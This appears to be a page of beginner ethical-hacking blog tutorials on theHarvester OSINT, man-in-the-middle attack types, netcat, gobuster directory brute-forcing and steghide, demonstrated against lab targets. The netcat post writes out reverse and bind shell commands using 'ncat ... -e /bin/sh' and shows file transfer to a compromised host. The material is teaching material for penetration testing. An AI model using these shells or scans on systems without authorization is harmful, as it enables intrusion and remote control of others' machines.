Posted on

Beginners guide to theHarvester tool

Hello, aspiring ethical hackers. In one of our previous blogposts, you learnt in detail about OSINT. In this blogpost, you will learn about a tool called theharvester that is used to gather open source intelligence (OSINT) on a company or domain.

Using theHavester tool, we can gather information like subdomain names, email addresses, virtual hosts, open ports, banners and employee names of an organization from different public sources like search engines, pgp key servers, IP addresses and URLs.

theHarvester is installed by default on almost all pen testing distros. For this tutorial, we will be using Kali Linux. theHarvester is very simple to use but very powerful during footprinting stage of a red team assessment or a penetration test. It can take a domain or an organization as target as shown below.

TheHarvester 1
TheHarvester 2

theHarvester can list a lot of entries as part of performing OSINT. You can specify the limit to the number of entries you want to be displayed.

TheHarvester 3

You can even start querying from particular entry form list of entries displayed. For example, you want to start querying from the 10th entry.

TheHarvester 4

–shodan

theHarvester also has a option called “–shodan” that queries the Shodan search engine for any open ports or banners from discovered hosts. However, this requires api keys.

TheHarvester 5

–screenshot

This command allows theHarvester to take screenshots of subdomains that are found.

TheHarvester 6

–dns-brute

As the command explains, you can brute force DNS servers using this option.

TheHarvester 7
TheHarvester 8

–source

theHarvester uses many public sources to collect information. Some of them are anubis, baidu, bing, brave, censys, etc. We can even ask it to use a specific source using the “–source” command.

TheHarvester 9
TheHarvester 10
TheHarvester 11

Learn how to perform OSINT using amass or Maltego or Spiderfoot.

Posted on

Man in the Middle (MiTM) attack for beginners

Hello aspiring ethical hackers. In this blogpost, you will learn about Man in the Middle (MITM) attack. You know how does normal communication take place in cyber world. For example, you as a user communicate with a trusted server or resource thinking that the data you send is safely received by the trusted server and vice versa. What if its not.

MITM 1

What is Man in the middle attack (MITM)?

In Man in the middle (MITM) attack, a hacker intercepts the communication between a trusted user and server. The information he/she intercepts can be used for malicious purposes.

MITM 2

There are different types of MITM attacks. They are,

1. IP spoofing:

In this attack, the hacker spoofs the IP address of the normal user. Learn more about IP spoofing.

2. Wi Fi MiTM:

In this attack, hackers setup a fake wireless access point that is open. Learn more about evll twin attack.

3. Sniffing passwords:

If the credentials are being transmitted in cleartext without any encryption in the network, they can be viewed by hackers. Learn more about password sniffing.

4. Session hijacking:

In this type of MiTM attack, the session is hijacked. Learn more about session hijacking.

5. HTTPS spoofing:

HTTPS is considered secure as data is transmitted in encrypted format in this. However, even this can be spoofed.

    Posted on

    Hackers guide to netcat

    Hello, aspiring ethical hackers. In this blogpost, you will learn about the tool netcat and its use for ethical hackers. This tool along with Nmap is given a wide berth in ethical hacking courses as it can create any kind of connections.

    Netcat, also known as swiss army knife in cybersecurity circles is a multi-utility tool that can perform various functions for a pen tester. Let’s learn about all the uses of it for ethical hackers.

    Port scanning

    Although not as versatile as Nmap, it can perform port scanning for you during scanning stage of a hack. It is less noisy and unconventional. Let’s see port 80 is open on our target system using netcat.

    nc -zv <target ip> <target port>
    
    Netcat 1
    Netcat 2

    You can scan multiple ports at once using netcat.

    nc -zv <target ip> <target port 1> <target port 2> <target port 3>
    
    Netcat 3

    You can even scan a range of ports at once using it.

    nc -zv <target ip> <range of ports> 
    
    Netcat 4

    Grabbing banners

    There are other awesome banner grabbing tools but in case of subtlety netcat can also grab banners in its own quite sense. This may be helpful when you have completed gaining access on the target network and wish to grab banners of the services running from inside. It is easy to transport to the target network. This is how simple it is to grab banners with netcat. All you have to do is specify the text IP and port and hit ENTER.

    nc <target ip> <target port>
    
    Netcat 5
    Netcat 6

    For HTTP, after specifying target IP and post, type “HTTP 1.1 100” as shown below to grab the banner.

    Netcat 7

    File Transfer

    This function of netcat comes useful during Post-exploitation stage after you have gained access to the target system. Netcat can help you in transferring files to the target system from the attacker system. Note that both the attacker and target systems should have netcat installed.

    Let’s demonstrate this. For this, we will be transferring the same file used during tutorial of steghide. First, on the target system, type the command shown below using the name of the file to be transferred.

    nc -l -p <target port> > <file>
    
    Netcat 8 1024x72

    Then on the attacker system, type the below command.

    nc <target IP> <target port> < <file>
    
    Netcat 9

    Here is the file that is transferred to the target system.

    Netcat 10 1024x102

    Bind and Reverse shells

    You have learnt about shell and different types of shells in our previous blogposts. If you want to have a quite shell after gaining access, netcat can do it for you. The most familiar scenario is gaining a reverse shell. Let’s see how to get a reverse shell with netcat. Note that there are two types of netcat available. With the original netcat, users seem to be facing some problems in gaining a shell.

    Another netcat is available from the makers of Nmap. Called as “ncat”, let’s use it to get a reverse shell first. On the attacker system, type the command shown below to start a listener.

    ncat -lvp <port to listen on> 
    
    Netcat 11

    Then, type the command shown below on the target system.

    ncat <attacker system's ip> <port attacker is listening on> -e /bin/sh 
    
    Netcat 12 1024x98

    As soon as you do that on the target system, we get a shell on the attacker system.

    Netcat 13

    To get a bind shell, first we need to start a listener on the target system as shown below.

    ncat -lvp <port to listen on> -e /bin/sh 
    
    Netcat 14 1024x130

    Then on the attacker system, do this.

    nc <target IP> <target port>
    
    Netcat 15

    Here’s the bind shell.

    Netcat 16 1024x174
    Netcat 17
    Posted on

    Beginners guide to gobuster tool

    Hello, aspiring ethical hackers. In one of our previous blogposts, you studied in detail about website footprinting and different methods used to gather information about a website. In it you have learnt that directory scanning and subdomain enumeration is one of the techniques used to gather information about a website. In this blogpost you will learn about a tool named gobuster which can do both.

    Gobuster is a tool built in Go programming language that can brute-force URIs (directories and files) in websites, DNS subdomains, virtual host names on target web servers, open Amazon S3 buckets, open Google cloud buckets and TFTP servers. It is present by default in the repositories of Kali Linux and can be installed by just typing the command as shown below.

    Gobuster 1 1

    Once installed, gobuster can be used using the same command.

    Gobuster 2 1

    There are different modes in gobuster tool for different operations. No matter what mode you use, since Gobuster is a brute-forcing tool it needs a wordlist. Let’s see how to scan web directories first. For this tutorial, we will be using Mutillidae as our target. It is installed by default in Metasploitable 2. See how to install Metasploitable 2 in VirtualBox and see how to create a web application penetration testing lab.

    Let’s see how to scan directories with Gobuster.

    Gobuster 3 1

    Let’s explain the options here.

    dir – to scan for directories.

    -u: URL to be scanned.

    -w: wordlist from which earlier are scanned.

    Here is the result of this scan.

    Gobuster 4 1
    Gobuster 5 1

    You can see that gobuster found some interesting files along with a file named “passwords”. As an exercise, scan DVWA also as it is also installed by default on Metasploitable 2.

    Gobuster 6 1

    Now, lets see how to scan for subdomains using gobuster. We have to just change the “dir” option to “dns”.

    Gobuster 7 1
    Gobuster 8 1

    Learn how to perform directory scanning with dirb.

    Posted on

    Beginners guide to Steghide

    Hello, aspiring ethical hackers. In one of our previous blogposts, you have learnt in detail about steganography and types of steganography techniques. In this blogpost, you will learn about steghide, a tool that can perform image steganography and audio steganography.

    Let’s see how this tool works. This tool is installed by default in Kali Linux. The command to use steghide is shown below. If it is not installed yet, the system will prompt you to install it as shown below.

    Steghide 1
    Steghide 2

    After steghide is successfully installed, let’s get ready our files. To perform steganography, we need two files: a file we want to hide (hereby called as secret file to avoid confusion) and another file to hide this secret file. So, first let’s create file which we want to hide (I mean, secret file). Let’s create a text file named “secret.txt” with some text inside as shown below.

    Steghide 3
    Steghide 4

    Now, we need a file in which we can hide this “secret.txt” file. With Steghide, we can hide secret data in JPEG, BMP and audio files of WAV and Au formats. For this tutorial, let’s just download a hot pic in jpeg format from Freepix as shown below.

    Volcano

    What can be hotter than an erupting volcano. Since both files are ready, we can start working with steghide. Here’s the command.

    Steghide 5
    Steghide 6

    Here is the explanation of the options used:

    –embed: for embedding a file into another (in this case, embedding secret.txt into volcano.jpg).

    -ef: file that needs to be hidden or embedded

    -cf: file in which the above file is to be hidden.

    -sf: resultant file after embedding.

    You can embed a file even without using the ‘-sf’ option but when you do that, the original file (in our case, volcano.jpg) will be overwritten. Steghide will ask you to set a password while embedding a file, you can continue without setting the password too, but that would make it easy for right people to see the secret message. This is the image with secret data hidden beside it.

    Volcano With Secret

    It is looking just like any normal image, right. We can use steghide to specify additional options while embedding but before that let’s learn how to extract this secret data from the image file. To retrieve hidden data from the image file, we use the “extract” command of steghide is used.

    Steghide 7
    Steghide 8

    You can even specify a separate file to extract the secret data from using the ‘-xf’ option below.

    Steghide 11
    Steghide 12

    Whatever the case, you have to enter the correct password while extracting. Steghide also has a ‘info” command to display the information about the image file with secret data. Here it is how it works on a normal image file.

    Steghide 9

    Now, let’s get information about our “volcano_with_secret.jpg file.

    Steghide 10

    As you can see, steghide reveals that the above file (volcano_with_secret.jpg) is embedding a file named “secret.txt, it is compressed and encrypted with rijndael-128, cbc encryption. Now, let’s learn about additional options that can be used with steghide while embedding a file. We have seen while using “info” command that the name of the embedded file was displayed using the “-N” option, you can stop this name from being displayed.

    Steghide 13

    Now, let’s observe this file using the “info” command as shown below.

    Steghide 14

    As you can see, the name of the hidden file is not being displayed now. You can even encrypt a file with steghide using the “-z” option.

    Steghide 15
    Steghide 16

    By default, steghide uses rijndael-128 cbc encryption to encrypt the file. We can even specify the encryption algorithm we want. The encryption algorithms supported by steghide can be viewed using the “encinfo” command.

    Steghide 17

    We can set our own encryption algorithm we want using the ‘-e’ option. For example, let’s set the DES algorithm with cbc cipher.

    Steghide 18
    Steghide 19

    That is how we use steghide to hide a file.